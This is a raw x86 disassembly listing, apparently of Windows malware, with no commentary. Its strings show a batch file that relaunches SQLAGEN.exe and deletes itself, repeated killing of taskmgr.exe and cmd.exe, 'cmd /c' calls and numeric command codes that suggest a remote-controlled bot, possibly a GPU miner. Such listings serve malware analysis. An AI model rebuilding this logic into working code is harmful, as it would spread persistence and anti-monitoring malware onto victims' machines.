lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
lea eax, [ebp - 0x30]
push eax
call fcn.004162ba
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4281b1
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4281c1
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4281d1
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4281e1
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4281f1
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x428201
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x428211
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x428221
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x428234
mov eax, 0x4d792e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428248
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ef70
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42826b
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x42827b
push ebx
call fcn.0044cd34
add esp, 4
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push str..exe
push dword [ebp - 0xc]
push str.SQLAGEN
push dword [ebp - 0x24]
mov ecx, 4
call fcn.00402eb2
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4282c0
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4282df
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ee90
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428302
push ebx
call fcn.0044cd34
add esp, 4
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Documents_and_Settings
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x428348
mov eax, 0x4d6f24
push eax
push 4
mov ebx, 0x44d810
call fcn.0044cd2e
add esp, 0x34
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42836e
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0xffffffff
je 0x4287bc
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x4283a0
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4283c6
push ebx
call fcn.0044cd34
add esp, 4
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4283ee
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push str.up.bat
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4287f9
push ebx
call fcn.0044cd34
add esp, 4
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x2c], eax
push str..exedel_up.bat
push dword [ebp - 0xc]
push str.SQLAGEN
push dword [ebp - 0x2c]
push str.ping_127.0.01__n_10start
mov ecx, 5
call fcn.00402eb2
add esp, 0x14
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x428843
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x428856
push str.80005
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x429a35
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428b35
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428b7c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428bc3
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428c0a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428c51
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428c98
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428cdf
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428d4b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428d72
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428dde
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428e05
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428e71
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428e98
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428f04
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428f2b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428f97
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428fbe
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42902a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429051
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
push str.cmd__c
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4290bd
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4290e4
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503090
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42917b
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42918e
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4291b1
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429217
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42922a
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42924d
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4292b3
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4292c6
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4292e9
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503090
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503090]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429380
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429393
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4293b6
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42941c
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42942f
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429452
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4294b8
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4294cb
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4294ee
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503098
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503098]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429585
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429598
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4295bb
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429621
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429634
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429657
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4296bd
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4296d0
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4296f3
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429759
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42976c
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42978f
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4297f5
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429808
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42982b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503094
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4298c2
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4298d5
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4298f8
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42995e
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429971
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429994
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4299fa
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429a0d
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429a30
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c4ae
push str.80007
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x429e9f
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429a61
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d99af
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429aa5
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x429b2a
call fcn.0042cc89
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x429aca
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429af0
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80007
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x429b15
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429b25
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x429e9a
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429b3d
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d7920
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x429b78
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429b9e
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x429bc0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x429bbc
imul eax, dword [ebx]
jmp 0x429bb1
